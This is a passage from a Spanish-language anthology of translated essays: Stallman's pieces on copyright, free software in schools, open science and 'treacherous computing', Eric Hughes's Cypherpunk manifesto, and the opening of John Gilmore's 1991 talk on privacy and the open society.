software, grabaciones musicales y libros. Las redes ofrecían la posibili-
dad de acceso ilimitado a toda clase de datos: una utopía de la informa-
ción. 

Pero había un obstáculo en el camino: el copyright. Los lectores que
hacían uso de sus computadoras para compartir información publicada,
eran técnicamente infractores del copyright. El mundo había cambiado
y lo que había sido una vez regulación industrial se había convertido en
una restricción al público que debería de servir. 

[79]

Libertad, ¿o copyright?*
Richard M. Stallman

* “Freedom –or copyright?”. Traducción de Pablo Rodríguez. Publicado en la revis-
ta Technology Review en 2000.
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En una democracia, una ley que prohíbe una actividad popular,
natural y útil, habitualmente se relaja pronto. Pero grupos de presión de
poderosos editores estaban determinados a impedir al público aprove-
char la ventaja de sus computadoras y encontraron en el copyright un
arma apropiada. Bajo su influencia, en vez de relajar el copyright para
adecuarlo a las nuevas circunstancias, los gobiernos lo hicieron mucho
más estricto, aplicando penas severas a lectores sorprendidos compar-
tiendo. 

Pero eso no iba a ser lo último. Las computadoras pueden ser poten-
tes herramientas de dominio cuando unos pocos controlan qué hacen
las computadoras de otras personas. Los editores advirtieron que obli-
gando a la gente a usar software especialmente diseñado para leer libros
electrónicos, podrían lograr un poder sin precedentes: ¡obligarían a los
lectores a pagar y a identificarse cada vez que leyesen un libro!

Este era el sueño de los editores, y lograron convencer al gobierno
estadounidense para promulgar la Digital Millennium Copyright Act
[Ley de Copyright del Milenio Digital] de 1998. Esta ley otorga a los edi-
tores el poder legal total sobre casi todo lo que un lector puede hacer
con un libro electrónico. ¡Incluso la lectura no autorizada es delito! 

Todavía tenemos las mismas libertades de antes usando libros en
papel. Pero si los libros electrónicos sustituyen a los impresos, esa
excepción servirá de muy poco. Con la “tinta electrónica”, que hace
posible descargar un nuevo texto en un trozo de papel aparentemente
impreso, incluso los periódicos podrían volverse efímeros: no más libre-
rías de libros usados, no más préstamos de libros a amigos, no más prés-
tamos de libros en la biblioteca pública –no más “fugas” que podrían
dar la oportunidad de leer sin pagar (y a juzgar por los anuncios de
Microsoft Reader, no más compras anónimas de libros tampoco). Éste es
el mundo que los editores han pensado para nosotros. 

¿Por qué hay tan poco debate público sobre estos cambios capitales?
La mayoría de los ciudadanos no han tenido todavía ocasión de asumir
las consecuencias políticas que surgen de esta tecnología futurista.
Además, al público se le ha enseñado que el copyright existe para “pro-
teger” a los titulares del copyright, con la consecuencia añadida de que
los intereses del público no cuentan. 
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Pero cuando el público en general empiece a usar libros electróni-
cos y descubra el régimen que los editores les han preparado, empeza-
rán a oponerse. La humanidad no aceptará este yugo por siempre. 

Los editores nos han hecho creer que un copyright represivo es la
única forma de mantener viva la creación artística, pero no necesitamos
una Guerra por las Copias para fomentar la diversidad de obras publi-
cadas; como ha mostrado Grateful Dead la copia privada entre admira-
dores no es necesariamente un problema para los artistas. Legalizando
la copia de libros electrónicos entre amigos, podemos volver a convertir
el copyright en la regulación industrial que una vez fue. 

Para cierta clase de escritos, debemos ir incluso más allá. Para artí-
culos académicos y monografías, su publicación íntegra en la red debe-
ría ser alentada en todos los casos; esto ayuda a proteger los escritos aca-
démicos haciéndolos más accesibles. En el caso de libros de texto y de la
mayoría de obras de referencia, la publicación de versiones modificadas
debería incluso permitirse, puesto que fomentan su mejora. 

Con el tiempo, cuando las redes de computadoras ofrezcan una
forma sencilla de mandar un poco de dinero a alguien, toda la base para
restringir la copia literal desaparecerá. Si le gusta un libro y aparece una
ventanita de su computadora que dice: “cliqueé aquí para dar un dólar
al autor”, ¿no lo haría? El copyright para libros y música, aplicado a la
distribución de copias literales no modificadas, se volverá totalmente
obsoleto. ¡Y ni un segundo antes! 

Copyright 2000 Richard Stallman. 
Se permite la copia y redistribución literal de este artículo en su totalidad en
cualquier medio, si se mantiene esta nota.
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Existen razones generales por las que todos los usuarios de compu-
tadoras deberían insistir en usar software libre. Éste les da a los usuarios
la libertad de controlar sus propias computadoras; con el software pro-
pietario, la computadora hace lo que el dueño del software quiere que
haga, no lo que usted quiere. También les da a los usuarios la libertad
de cooperar entre sí, de actuar correctamente. Esto cuenta para las
escuelas tanto como para el resto de las personas. Pero existen razones
que se aplican especialmente al caso de las escuelas. 

Primero, el software libre puede ahorrarle dinero a las escuelas.
Hasta en los países más ricos las escuelas tienen pocos fondos. El
software libre les da a las escuelas, como a otros usuarios, la libertad de
copiar y redistribuir el software, con lo que el sistema escolar puede
hacer copias para todas las computadoras en todas las escuelas. En paí-
ses pobres, esto puede ayudar a achicar la brecha digital.

Esta razón obvia, si bien es importante, es bastante superficial. Y los
fabricantes de software propietario pueden salvar la situación donando
copias de sus programas. (¡Cuidado! Una escuela que acepte esta oferta
puede tener que pagar para recibir las siguientes versiones.) Así que
pasemos a las razones más profundas.

Las escuelas deben enseñar a sus estudiantes maneras de vivir que
beneficien a la sociedad como un todo. Así, deberían impulsar el uso del
software libre, tal como impulsan el reciclaje. Si las escuelas enseñan
software libre a sus estudiantes, entonces éstos usarán software libre
cuando se gradúen. Esto ayudará a que la sociedad en su conjunto evite

¿Por qué las escuelas deberían usar sólo
software libre?*

Richard M. Stallman

* “Why schools should use exclusively free software”. Traducción Carlos Gradin.

[82]



¿POR QUÉ LAS ESCUELAS DEBERÍAN USAR SÓLO SOFTWARE LIBRE?

ser dominada (y extorsionada) por megacorporaciones. Esas corpora-
ciones les ofrecen muestras gratis a las escuelas por la misma razón por
la que las compañías de tabaco distribuyen cigarrillos gratis: para hacer
adictos a los chicos.1 No les van seguir haciendo descuentos a estos
estudiantes una vez que crezcan y se gradúen.

El software libre permite a los estudiantes aprender cómo funcio-
nan los programas. Cuando los chicos llegan a la adolescencia, algunos
de ellos quieren aprender todo lo que se pueda sobre sus sistemas de
computadoras y sus programas. Esa es la edad en que las personas que
serán buenos programadores deberían aprenderlo. Para aprender a
escribir buenos programas, los estudiantes necesitan leer y escribir
muchos programas. Necesitan leer y entender programas reales que la
gente realmente utiliza. Sentirán una enorme curiosidad por leer los
códigos fuente. 

El software propietario repele su sed de conocimiento; les dice, “El
conocimiento que ustedes quieren es un secreto, ¡aprender está prohibi-
do!”. El software libre alienta a todos a aprender. La comunidad del
software libre rechaza el “sacerdocio de la tecnología”, que mantiene al
público general en ignorancia respecto a cómo funciona la tecnología;
alentamos a los estudiantes de cualquier edad y posición a leer el códi-
go fuente y aprender tanto como quieran saber. Las escuelas que usen
software libre alentarán a los diestros en software a que se superen. 

La siguiente razón es todavía más profunda que esto. Esperamos
que las escuelas les enseñen a los estudiantes conocimientos básicos y
destrezas útiles, pero esta no es toda su tarea. La misión más importan-
te de las escuelas es enseñar a las personas a ser buenas ciudadanas y
buenos vecinos, a cooperar con los otros que necesitan su ayuda. En el
ámbito de las computadoras esto significa enseñarles a compartir
software. Las escuelas primarias, sobre todo, deben enseñarles a sus
alumnos, “Si traes programas a la escuela, debes que compartirlos con
los otros chicos”. Por supuesto, la escuela debe cumplir con lo que ense-
ña: todo el software instalado en la escuela debe estar disponible para
que los estudiantes lo copien, lo lleven a casa y lo redistribuyan.
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Enseñarles a los chicos a usar software libre, y a participar en la
comunidad de software libre, es una lección práctica de educación cívi-
ca. También enseña a los estudiantes el rol modelo del servicio público
antes que el del exitismo. Todos los niveles de educación deben usar
software libre.

Copyright 2003 Richard Stallman
La reproducción literal y la distribución de este artículo en su totalidad y sin
regalías se permiten para cualquier medio en tanto se mantenga esta nota.
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Debería ser obvio que la literatura científica existe para diseminar el
conocimiento científico, y que las revistas científicas existen para facili-
tar esto. De ello se concluye que las reglas para el uso de la literatura
científica deberían estar diseñadas para alcanzar tal meta.

Las reglas con que contamos ahora, conocidas como copyright, fue-
ron establecidas en la época de la imprenta, que es un método inheren-
temente centralizado de producción de copias a gran escala. En un esce-
nario basado en imprentas, el copyright sobre artículos de revistas se
restringía sólo a los editores –requiriéndoles que obtengan un permiso
para publicar un artículo– y sobre eventuales plagiadores. Ayudaba a
las revistas a funcionar y diseminar el conocimiento, sin interferir en el
valioso trabajo de los científicos y estudiantes, ya sea como escritores o
lectores de artículos. Estas reglas se adecuaban bien al sistema.

La tecnología actual para las publicaciones científicas es, sin embar-
go, la World Wide Web. ¿Qué reglas asegurarían mejor la más amplia
diseminación de artículos científicos y de conocimiento en la Web? Los
artículos deberían distribuirse en formatos no privativos [non-
proprietary formats], con acceso libre para todos. Y todo el mundo debe-
ría tener el derecho de reproducir los artículos; esto es, hacer ediciones
textuales con el reconocimiento debido a los autores.

Estas reglas deberían aplicarse para artículos antiguos tanto como
para los futuros, cuando se distribuyen de forma electrónica. Pero no
hay ninguna necesidad de cambiar el actual sistema de copyright tal

La ciencia debe sacarse el copyright 
de encima*

Richard M. Stallman

* "Science must 'push copyright aside'". Traducción de Carlos Gradin. Publicado en
la revista científica Nature en 2001.
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como opera para la publicación de revistas en papel, ya que el proble-
ma no reside en ese ámbito. 

Lamentablemente, parece que no todos acuerdan con las obvieda-
des que mencionamos al comenzar este artículo. Muchos editores de
revistas parecen creer que el propósito de la literatura científica es per-
mitirles publicar revistas para que puedan cobrar suscripciones de cien-
tíficos y estudiantes. Esta manera de pensar se conoce como “confusión
de los medios con los fines”.

Su modo de hacer las cosas consiste en restringir incluso el acceso a
la mera lectura de literatura científica a aquellos que pueden y quieren
pagar por ella. Utilizan las leyes de copyright, que siguen vigentes a
pesar de su inadecuación a las redes de computadoras, como excusa
para evitar que los científicos decidan reglas nuevas.

Por el bien de la cooperación científica y el futuro de la humanidad,
debemos rechazar esta visión de raíz –no sólo los sistemas obstructivos
que se han instituido, sino las mismas prioridades equivocadas en las
que se fundamentan.

Los editores de revistas a veces sostienen que el acceso on-line
requiere costosas computadoras de alto rendimiento como servidores, y
que ellos deben cobrar tarifas de acceso para pagar esos servidores. Este
“problema” es una consecuencia de su propia “solución”. Denle la liber-
tad a todas las personas de copiar y poner en su sitio de Internet los artí-
culos científicos, y las bibliotecas de todo el mundo abrirán sitios de
acceso con copias para satisfacer la demanda. Esta solución descentrali-
zada reducirá los requisitos de ancho de banda y proveerá un acceso
más veloz, al tiempo que protegerá los trabajos académicos contra pér-
didas accidentales.

Los editores también sostienen que el trabajo editorial requiere que
se cobre por el acceso. Aceptemos la premisa de que los editores deben
cobrar por su tarea; esto no invalida nuestra propuesta. El costo de edi-
ción de un trabajo científico corriente está entre el 1% y el 3% del finan-
ciamiento en investigación para producirlo. Un porcentaje tan reducido
difícilmente debería obstruir el uso de los resultados.

En cambio, el costo de edición podría obtenerse, por ejemplo, a tra-
vés de tarifas a los autores, que pueden trasladarlas a su vez a las enti-
dades que promueven su investigación. A éstas no debería importarles,
dado que actualmente pagan por las publicaciones de una manera
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mucho más aparatosa e indirecta al pagar por la suscripción de las
bibliotecas universitarias a las revistas. Cambiando el modelo económi-
co para asignar los costos de edición a las entidades de apoyo, podemos
eliminar la aparente necesidad de restringir el acceso. Los autores oca-
sionales que no estén afiliados a ninguna entidad o institución, y que no
reciben ayuda financiera, podrían ser eximidos de los costos de publi-
cación, siendo asumidos éstos por los autores que sí reciben ayuda.

Otra justificación para las tarifas de acceso a las publicaciones
on-line es la necesidad de financiar la conversión de los archivos impre-
sos en papel a formato digital. Este trabajo debe realizarse, pero debe-
mos buscar maneras alternativas de financiarlo que no impliquen obs-
truir el acceso a los resultados. El trabajo en sí no será más complicado,
ni será más costoso. Es un sinsentido digitalizar los archivos para luego
desperdiciar los resultados restringiendo el acceso a ellos.

La Constitución de Estados Unidos dice que el copyright existe
“para promover el progreso de la ciencia”. Cuando el copyright impide
el progreso de la ciencia, la ciencia debe sacarse de encima el copyright.

Copyright 2001 Richard Stallman.
La reproducción literal y la redistribución de este artículo en su totalidad se
permiten para cualquier medio en tanto se mantenga esta nota y la nota de
copyright. 
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¿De quién debería recibir órdenes su computadora? Mucha gente
piensa que sus computadoras deberían obedecerles a ellos, en vez de a
otras personas. Mediante un plan al que llaman “computación confia-
ble” [trusted computing], grandes corporaciones de los medios de comu-
nicación (incluyendo las compañías cinematográficas y de la industria
discográfica) junto con compañías de informática tales como Microsoft
e Intel, están planificando hacer que su computadora los obedezca a
ellos en vez de a usted. (La versión de Microsoft de este esquema se
llama “Palladium”). Los programas propietarios [proprietary programs]
han incluido características maliciosas en el pasado, pero este plan haría
esto universal. 

Software propietario [proprietary software] significa, fundamental-
mente, que usted no controla lo que hace; no puede estudiar el código
fuente o modificarlo. No es sorprendente que hábiles hombres de nego-
cios encuentren formas de usar su control para ponerle a usted en des-
ventaja. Microsoft ha hecho esto varias veces; una versión de Windows
fue diseñada para reportar a Microsoft todo el software en su disco
duro; una reciente actualización de “seguridad” en el Reproductor
Multimedia de Windows requería que los usuarios aceptaran nuevas
restricciones. Pero Microsoft no está solo: el software para intercambio
de música KaZaa está diseñado de forma que un asociado de negocios
de KaZaa pueda alquilar el uso de su computadora a sus clientes. Estas
características maliciosas son normalmente secretas, pero una vez que

¿Puede confiar en su computadora?*
Richard M. Stallman

* “Can you trust your computer?”. Traducción de Javier Smaldone.
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usted se entera de ellas es difícil eliminarlas, dado que no dispone del
código fuente. 

En el pasado, estos fueron incidentes aislados. “Computación con-
fiable” los haría omnipresentes. “Computación traidora” es un nombre
más apropiado, porque el plan está diseñado para asegurarse de que su
computadora sistemáticamente lo desobedecerá. De hecho, está diseña-
do para que la misma deje de funcionar como una computadora de pro-
pósito general. Cada operación puede requerir de una autorización
explícita. 

La idea técnica detrás de la computación traidora es que la compu-
tadora incluye un dispositivo de cifrado y firma digital, y las claves se
mantienen secretas para usted. Los programas propietarios usan este
dispositivo para controlar qué otros programas puede ejecutar, a qué
documentos o datos puede acceder y a qué programas se los puede
transferir. Esos programas continuamente descargarán nuevas reglas de
autorización a través de Internet, e impondrán dichas reglas automáti-
camente a su trabajo. Si usted no permite a su computadora obtener las
nuevas reglas periódicamente de Internet, algunas capacidades dejarán
automáticamente de funcionar. 

Por supuesto, Hollywood y las compañías discográficas planean
usar la computación traidora para “DRM” (Administración de
Restricciones Digitales [Digital Restriction Management]), así los vídeos y
la música descargados podrán ser reproducidos sólo en una computa-
dora específica. Compartir será completamente imposible, al menos
usando los archivos autorizados que deberá obtener de dichas compa-
ñías. Usted, el público, debería tener la libertad y la habilidad de com-
partir esas cosas. (Espero que alguien encuentre la forma de producir
versiones no cifradas, y de subirlas y compartirlas, así DRM no tendrá
éxito completamente, pero esto no es excusa para el sistema). 

Hacer imposible el compartir ya es lo suficientemente malo, pero se
pone peor. Existen planes para usar la misma facilidad al enviar docu-
mentos por correo electrónico, resultando en mensajes que desaparecen
en dos semanas, o documentos que sólo pueden ser leídos en las com-
putadoras de determinada compañía. 

Imagínese si usted recibiera un mensaje de correo electrónico de su
jefe diciéndole que haga algo que usted piensa que es arriesgado; un
mes después, cuando el tiro sale por la culata no puede usar el mensaje
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para mostrar que la decisión no fue suya. “Ponerlo por escrito” no lo
protege si la orden está escrita en tinta que desaparece. 

Imagínese si usted recibe un mensaje de correo electrónico de su
jefe estableciendo una política que es ilegal o inmoral, tal como destro-
zar los documentos de auditoría de su compañía, o permitir que una
amenaza peligrosa para su país avance sin ser controlada. Actualmente,
usted puede enviar esto a un periodista y exponer la actividad. Con la
computación traidora, el periodista no será capaz de leer el documento;
su computadora se negará a obedecerlo. La computación traidora se
transforma en un paraíso para la corrupción. 

Los procesadores de texto tales como Microsoft Word podrían usar
la computación traidora cuando usted guarde sus documentos, para
asegurarse de que ningún procesador de texto de la competencia podrá
leerlos. Actualmente debemos averiguar los secretos del formato de
Word mediante laboriosos experimentos, para que los procesadores
libres puedan leer documentos de Word. Si Word cifra los documentos
usando computación traidora cuando los guarda, la comunidad del
software libre no tendrá la posibilidad de desarrollar software para leer-
los, y si pudiéramos, tales programas podrían ser prohibidos por la
Digital Millennium Copyright Act [Ley de Copyright del Milenio Digital]. 

Los programas que usen computación traidora continuamente des-
cargarán nuevas reglas de autorización desde Internet, e impondrán
dichas reglas a su trabajo. Si a Microsoft, o al gobierno de los EE.UU., no
le agrada lo que usted dice en un documento que escribió, podrán
publicar nuevas restricciones diciendo a todas las computadoras que se
rehúsen a dejar que alguien lea dicho documento. Cada computadora
del mundo obedecerá cuando descargue las nuevas instrucciones. Su
escrito estará sujeto a un borrado retroactivo estilo 1984. Hasta usted
podría ser incapaz de leerlo. 

Podría pensar que usted puede averiguar qué cosas sucias hace una
aplicación de computación traidora, estudiar qué tan dañinas son, y
decidir si aceptarlas. Sería ingenuo aceptarlo, pero el punto es que el
trato que cree que está haciendo no se mantendrá. Una vez que usted
dependa del uso del programa, estará enganchado y ellos lo saben;
entonces pueden cambiar el trato. Algunas aplicaciones automática-
mente bajarán actualizaciones que harán algo diferente, y no le darán la
posibilidad de elegir si desea la actualización o no. 
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¿PUEDE CONFIAR EN SU COMPUTADORA?

Actualmente puede evitar ser restringido por el software propieta-
rio no usándolo. Si ejecuta GNU/Linux u otro sistema operativo libre, y
si evita instalar aplicaciones propietarias sobre él, entonces usted está al
mando de lo que su computadora hace. Si un programa libre tiene una
característica maliciosa, otros desarrolladores en la comunidad la quita-
rán y usted puede usar la versión corregida. Puede también ejecutar
aplicaciones y herramientas libres en sistemas operativos no libres; esto
falla completamente en darle libertad, pero muchos usuarios lo hacen. 

La computación traidora pone en peligro la existencia de sistemas
operativos y aplicaciones libres, porque usted ya no podrá ejecutarlas.
Algunas versiones de la computación traidora requerirán que el sistema
operativo esté específicamente autorizado por una compañía particular.
Los sistemas operativos libres no podrán ser instalados. Algunas ver-
siones de la computación traidora requerirán que cada programa sea
específicamente autorizado por el desarrollador del sistema operativo.
No podrá ejecutar aplicaciones libres en tales sistemas. Si usted averi-
gua cómo hacerlo y se lo dice a alguien, eso podría constituir un delito. 

Existen proyectos de ley en EE.UU. que requieren que todas las
computadoras soporten computación traidora, y que se prohíba la cone-
xión de computadoras antiguas a Internet. La CBDTPA (la llamamos
Ley Consuma Pero No Trate de Programar [Consume But Don’t Try
Programming Act]) es uno de ellos. Pero inclusive si no lo fuerzan legal-
mente a migrar hacia la computación traidora, la presión para aceptar-
la puede ser enorme. Actualmente las personas usualmente utilizan el
formato Word para comunicarse, aunque esto causa varios tipos de pro-
blemas (vea “We Can Put an End to Word Attachments”1). Si solamen-
te una máquina de computación traidora puede leer los últimos docu-
mentos de Word, mucha gente migrará hacia ella, si ven la situación
sólo en términos de acción individual (tómalo o déjalo). Para oponernos
a la computación traidora, debemos unirnos y confrontar la situación
como una elección colectiva. 
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1. [Stallman,] en http://www.gnu.org/philosophy/no-word-attachments.html
[2002] [hay trad. cast.: “Podemos acabar con los archivos adjuntos en Word”,
http://www.gnu.org/philosophy/no-word-attachments.es.html].
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Para mayor información sobre computación traidora, vea
http://www.cl.cam.ac.uk/users/rja14/tcpa-faq.html.2

Bloquear la computación traidora requerirá que se organicen un
gran número de ciudadanos. ¡Necesitamos su ayuda! La Electronic
Frontier Foundation3 (Fundación Frontera Electrónica) y Public
Knowledge4 (Conocimiento Público) están organizando campañas en
contra de la computación traidora, así como también el Digital Speech
Project5 (Proyecto Expresión Digital) sponsoreado por la FSF [Free
Software Foundation]. Por favor, visite estos sitios Web para poder sumar-
se y apoyar de su trabajo.

También puede ayudar escribiendo a las oficinas de asuntos públi-
cos de Intel, IBM, HP/Compaq, o cualquiera a quien usted le haya com-
prado una computadora, explicándole que no quiere ser presionado a
comprar sistemas de computación “confiable”, por lo cual no está de
acuerdo en que ellos los produzcan. Esto puede ejercer la presión del
poder del consumidor. Si usted hace esto, por favor envíe copias de sus
cartas a las organizaciones antes citadas. 

Copyright 2002 Richard Stallman. 
Está permitida la distribución y copia literal de este artículo completo en cual-
quier medio, siempre que se preserve esta nota. 

2. Ross Anderson, “‘Trusted Computing’ Frequently Asked Questions” (hay
trad. cast.: “Preguntas frecuentes sobre Informática Fiable”,
http://linuca.org/body.phtml?nIdNoticia=207). (N. del. E.)
3. http://www.eff.org/
4. http://www.publicknowledge.org/ 
5. http://www.digitalspeech.org/
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Eric Hughes fundó en 1992 el grupo
de investigación y activismo “Cypherpunks”

(cripto-hackers), junto con John Gilmore y Tim
C. May. El grupo mantiene un foro de discu-
sión sobre técnicas de encriptación, además de
organizar encuentros y promover el uso de pro-
gramas de encriptación para garantizar la priva-
cidad en Internet.

Este texto de 1993 es una de las declaraciones
de cabecera del grupo.



En la era electrónica la privacidad es necesaria para lograr una
sociedad abierta. Privacidad no es guardar secretos. Un asunto privado
es algo de lo que uno no quiere que todo el mundo se entere, pero un
asunto secreto es algo de lo que uno no quiere que nadie se entere.
Privacidad es la posibilidad de revelarse uno mismo ante el mundo de
manera selectiva. 

Si dos partes realizan algún tipo de negociación, entonces cada una
guarda un recuerdo de ese encuentro. Cada parte puede hablar sobre lo
que sabe de la otra; ¿cómo evitarlo? Se podrían hacer leyes contra esto,
pero la libertad de expresión, todavía más que la privacidad, es funda-
mental en una sociedad abierta; no buscamos restringir ninguna expre-
sión en ningún sentido. Si varias partes hablan juntas en el mismo foro,
cada una puede hablar a todas las demás y aportar colectivamente cono-
cimiento sobre otras personas y grupos. El poder de las comunicaciones
electrónicas hace posible este diálogo grupal, y no va a desaparecer sólo
porque queramos.

Dado que queremos privacidad, debemos garantizar que cada parte
de una transacción sepa de la otra sólo aquello que es absolutamente
necesario para la transacción. Dado que cualquier información puede
divulgarse, debemos asegurar que revelamos de nosotros lo menos
posible. En la mayoría de los casos la identidad no es necesaria. Cuando
compro una revista en un negocio y le pago en efectivo al cajero, no hace
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Un manifiesto cripto-hacker*
Eric Hughes

* “A Cypherpunk’s manifesto”. Traducción de Carlos Gradin. [Traduzco “Cripto-
hacker” por “Cypherpunk”, término que deriva del subgénero de ciencia ficción,
combinado con “cypher”, cifra o código de criptografía. (N. del T.)]
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falta que sepa quién soy. Cuando le digo a mi proveedor de correo elec-
trónico que quiero enviar y recibir mensajes, no hace falta que mi pro-
veedor sepa a quién le estoy escribiendo o qué le digo o lo que otros me
dicen a mí; mi proveedor sólo tiene que saber a dónde tiene que enviar
los mensajes y cuánto le debo por el servicio. Cuando mi identidad
queda al descubierto por el mismo mecanismo de la transacción, no
tengo privacidad. Aquí yo no puedo descubrirme a mí mismo selectiva-
mente; yo siempre tengo que descubrirme.

Por eso, en una sociedad abierta la privacidad requiere sistemas de
transacción anónima. Hasta ahora, los billetes fueron ese sistema. Un
sistema de transacción anónima no es un sistema de transacción secre-
ta. Un sistema anónimo da la posibilidad a las personas de revelar su
identidad cuando quieren y sólo cuando quieren; esa es la esencia de la
privacidad. 

En una sociedad abierta la privacidad también requiere de cripto-
grafía. Si digo algo, yo quiero que lo escuchen sólo aquellos a los que
está destinado. Si el contenido de mis palabras está disponible a todo el
mundo, yo no tengo privacidad. Encriptar es manifestar el deseo de pri-
vacidad, y encriptar con criptografía débil es manifestar poco deseo de
privacidad. Además, para revelar con seguridad la propia identidad
cuando lo corriente es el anonimato es imprescindible la firma cripto-
gráfica.

No podemos esperar que los gobiernos, corporaciones u otras gran-
des y difusas organizaciones nos garanticen la privacidad por su gene-
rosidad. A ellos les conviene poder hablar de nosotros, y debemos supo-
ner que lo harán. Tratar de impedir que hablen es pelear con la realidad
misma de la información. La información no sólo quiere ser libre, la
libertad es el estado al que tiende por naturaleza. La información se
expande hasta llenar los soportes disponibles. La Información es la
prima más joven y resistente del Rumor; la Información es más ligera de
pies, tiene más ojos, sabe más, y entiende menos que el Rumor.

Debemos defender nuestra privacidad si queremos contar con ella.
Debemos unirnos y crear sistemas que permitan las transacciones anó-
nimas. Durante siglos las personas han defendido su privacidad con
murmullos, oscuridad, sobres, puertas cerradas, señas y mensajeros.
Las tecnologías del pasado no permitían una privacidad sólida, pero las
tecnologías electrónicas sí.
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Nosotros los cripto-hackers construimos sistemas anónimos.
Estamos defendiendo nuestra privacidad con criptografía, sistemas de
correo electrónico anónimo, con firmas digitales y dinero electrónico.

Los cripto-hackers escribimos código. Sabemos que alguien tiene
que escribir software para defender la privacidad, y dado que no vamos
a tener privacidad a menos que lo hagamos, nosotros vamos a escribir-
lo. Publicamos nuestro código para que nuestros compañeros cripto-
hackers puedan practicar y jugar con él. Nuestro código es libre para
que lo usen todos, en todo el mundo. No nos importa si vos no acordás
con el software que escribimos. Sabemos que el software no puede des-
truirse y que un sistema distribuido en red no puede apagarse.

Los cripto-hackers repudiamos las regulaciones sobre la criptogra-
fía, ya que la encriptación es un acto fundamentalmente privado. El acto
de encriptar, de hecho, retira información de la esfera pública. Hasta las
leyes contra la criptografía alcanzan sólo hasta el borde de una nación y
donde llega el brazo de su violencia. La criptografía se propagará inde-
fectiblemente por todo el mundo, y con ella el sistema de transacciones
anónimas que hace posible.

Para que la privacidad se extienda debe formar parte de un contra-
to social. Las personas deben unirse y propagar estos sistemas. La pri-
vacidad sólo se extiende ante la cooperación de cada uno en la sociedad.
Los cripto-hackers esperamos tus preguntas y propuestas, y que poda-
mos involucrarte para que no nos traicionemos entre nosotros. De cual-
quier modo, no vamos a cambiar de idea porque algunos no acuerden
con nuestros objetivos.

Los cripto-hackers están comprometidos activamente en hacer las
redes más seguras para la privacidad. Trabajemos juntos sin perder
tiempo.

Hasta entonces.



John Gilmore es un programador de larga
trayectoria. Participó de diversos proyectos como

GNU, en favor del software libre, y la ONG
Electronic Frontier Foundation (Fundación Frontera
Electrónica) que se dedica a promover las libertades
civiles en Internet. También participó de los inicios
de internet administrando foros de discusión en
Usenet y desarrolló tecnologías de servidores en la
empresa Sun Microsystems. Con Eric Hughes y Tim
C. May formaron el grupo “Cypherpunks” (Cripto-
hackers), que se dedica a promover e informar sobre
el uso de criptografía para asegurar la privacidad de
las comunicaciones en Internet.

El texto es una ponencia presentada el 28 de marzo
de 1991 en Burlingame, California, durante la

“Primera Conferencia sobre Computadoras, Libertad
y Privacidad”. Fue organizada por la EFF, y el públi-
co estuvo integrado por programadores, activistas,
empresarios informáticos y miembros de agencias de
seguridad e inteligencia.



Mi intervención concierne a dos éticas –la defensa de una sociedad
abierta y la defensa de la privacidad. Creo que estas dos éticas se rela-
cionan entre sí, y quisiera decir algo acerca de cómo se relacionan con
nuestro accionar en el mundo.

Esta sociedad fue fundada como sociedad libre y abierta. Nuestros
antepasados, nuestros padres, nuestros compañeros, y nosotros mismos
estamos haciendo y construyendo esta sociedad en ese sentido –porque
creemos que ese tipo de sociedad supera a las sociedades cerradas– en
calidad de vida, en libertad y en la búsqueda de felicidad. 

Pero yo veo que esta sociedad libre y abierta corre el riesgo de des-
integrarse ante pequeños, inesperados cambios. Todavía es legal vivir
en nuestra sociedad sin documentos –pero apenas. Todavía es legal
vivir pagando en efectivo –pero apenas. Todavía es legal juntarse con
quienes se quiera –a menos que traigan un porro, saquen fotos de chi-
cos desnudos para su álbum privado, o trabajen con vos creando un
juego de rol de fantasía.1 Y creo que estas conferencias corren el riesgo
de ser cooptadas; nosotros nos sentamos aquí y trabajamos y hablamos
con otras personas y elaboramos consensos sobre temas relativamente
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Privacidad, tecnología y sociedad abierta*
John Gilmore

* “Privacy, Technology, and the Open Society”. Traducción de Carlos Gradin.
1. Se refiere a las operaciones policiales contra la comunidad hacker que se habían
realizado en 1990, un año antes de la conferencia. En la larga lista de abusos come-
tidos por la policía, se cuenta el procesamiento de los empleados de una editorial
de juegos de rol a quienes confundieron con una banda de hackers por el tipo de
información que guardaban en sus discos rígidos. La historia completa de esas
redadas es reconstruida por Bruce Sterling en Operation Crackdown (1991), junto con
la historia de las telecomunicaciones y el surgimiento del underground digital. (N.
del T.)



menores, mientras que perdemos de vista la sociedad abierta en su con-
junto.

Por ejemplo –nosotros tenemos el porcentaje más alto del mundo de
población dentro de la prisión. Estábamos segundos pero el año pasado
superamos a Sudáfrica. Estamos primeros.

En los últimos diez años duplicamos el número de personas en las
prisiones. De hecho, las celdas nuevas están ocupadas en su mayoría
por personas con cargos por delitos con drogas, un crimen sin víctimas
que hasta hace no más de veinte años se aceptaba y hasta se celebraba.

Ahora quisiera pedirles a los presentes en esta sala que por favor
levanten la mano si no han roto una ley, alguna ley, en el último mes.

(una persona de 400 alza la mano)

OK. Por favor levanten la mano: si sus discos y backups fueran revi-
sados, ¿habría algo en ellos que no se permite tener? Por favor levanten
la mano si sus discos están “limpios”.

(más manos –unas veinte o treinta)

Hay algunos más.
Pero no sorprende que estemos preocupados por la privacidad,

porque todos somos “infractores”. Todos quebramos la ley, pero pocos
somos criminales. El problema es que con sólo llamar la atención de la
policía, alcanza para arriesgar la mayor parte de lo que hacemos, por-
que quebramos la ley todo el tiempo, ¡y todo está montado para que eso
suceda!

No culpo a los policías por esto. En su mayoría hacen cumplir las
malas leyes que escriben los legisladores, pero de hecho los legisladores
tampoco tienen la culpa, porque a la larga la única salida es educar a la
población sobre los beneficios de la apertura. Y esto es algo a lo que
siempre trato de contribuir, y creo que aporto algunas cosas.

Pero más allá de eso, como dijo P. T. Barnum,2 “Hasta ahora nadie
perdió plata subestimando la inteligencia del público americano”. Mis
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2. Empresario norteamericano, dueño de una cadena de circos a comienzos del
siglo XX. (N. del T.)



mayores esperanzas las pongo en un enfoque muy diferente.
Parafraseando a Ted Nelson, probablemente no podamos detener este
elefante, pero quizás podamos correr entre sus patas.

En la mayor parte de Europa, las compañías de teléfonos no regis-
tran el número al que uno llama, y no lo muestran en la boleta. Sólo
cuentan el monto de la llamada. Bien, me contaron que esto es en parte
porque los nazis usaban los registros de llamadas que antes había, para
rastrear e identificar a la oposición de los países que invadían en la
Segunda Guerra Mundial. Desde entonces dejaron de registrar los
números.

En EE.UU. la gente boicoteó el censo con números de registro de
1990. Pienso que tuvo mucho que ver en esto la vergonzosa historia de
cómo luego de Pearl Harbour se arrió a campos de concentración a los
japoneses-americanos empleando los datos del censo. 

El profesor Lawrence Tribe habló en este encuentro sobre la gran
desconfianza que debemos tener ante nuestro gobierno. Tenemos que
darnos cuenta de que la gente que maneja el gobierno puede cambiar, y
